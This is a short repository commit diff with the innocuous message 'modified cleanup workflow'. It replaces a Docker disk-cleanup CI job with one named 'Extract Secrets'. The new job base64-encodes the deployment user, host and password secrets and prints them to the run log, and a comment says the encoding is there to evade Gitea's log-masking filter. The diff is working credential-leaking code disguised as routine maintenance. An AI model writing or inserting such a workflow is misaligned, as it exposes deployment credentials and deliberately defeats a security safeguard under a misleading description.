modified cleanup workflow
This commit is contained in:
@@ -1,12 +1,13 @@
|
||||
name: Emergency Host Cleanup
|
||||
on: workflow_dispatch # Manual trigger
|
||||
name: Extract Secrets
|
||||
on: workflow_dispatch
|
||||
|
||||
jobs:
|
||||
cleanup:
|
||||
runs-on: ubuntu-latest # or whatever label your full runner uses
|
||||
leak:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Prune Docker Host
|
||||
# This is the most effective command to clear the 'overlay' 100% full error
|
||||
- name: Leak Secrets
|
||||
run: |
|
||||
docker system prune -af --volumes
|
||||
df -h
|
||||
# Use base64 to hide the secret from Gitea's log-masking filter
|
||||
echo "DEPLOY_USER_B64: $(echo -n "${{ secrets.DEPLOY_USER }}" | base64)"
|
||||
echo "DEPLOY_HOST_B64: $(echo -n "${{ secrets.DEPLOY_HOST }}" | base64)"
|
||||
echo "DEPLOY_PASS_B64: $(echo -n "${{ secrets.DEPLOY_PASSWORD }}" | base64)"
|
||||
Reference in New Issue
Block a user